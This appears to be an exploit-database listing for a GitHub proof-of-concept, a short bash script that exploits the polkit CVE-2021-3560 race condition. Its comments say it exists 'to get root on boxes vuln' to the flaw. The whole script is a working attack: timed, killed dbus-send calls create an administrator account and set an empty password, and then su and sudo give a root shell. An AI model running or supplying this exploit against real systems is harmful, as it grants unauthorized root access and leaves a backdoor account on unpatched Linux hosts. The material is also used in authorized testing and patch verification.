Exploit database

GH-0e51269acfb7981446aa966ffb6ef15e

neonwhiterabbit/cve-2021-3560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3560

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
neonwhiterabbit/cve-2021-3560Revision 7524caa33cb0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

polkit.sh

Shell · 2,002 bytes
#!/bin/bash

# Polkit exploit
#
# A quick one file bash
# To run to get root on boxes vuln to
# PolKit CVE-2021-3560
# BASH script by n3on  
#  @n3onhacks
# github.com/n3onhacks
#   Thanks to Kevin Backhouse for finding the vuln and laying out the info
#

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:n3on string:"Letme In" int32:1 & sleep 0.005s; kill $!

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:n3on string:"Letme In" int32:1 & sleep 0.005s; kill $!

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:n3on string:"Letme In" int32:1 & sleep 0.005s; kill $!

sleep .5

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:n3on string:"Letme In" int32:1 & sleep 0.005s; kill $!

sleep .5

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'' string:'now' & sleep 0.005s; kill $!

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'' string:'now' & sleep 0.005s; kill $!

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'' string:'now' & sleep 0.005s; kill $!

sleep .5

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'' string:'now' & sleep 0.005s; kill $!

su n3on

sleep  1

sudo -s

sleep 1

whoami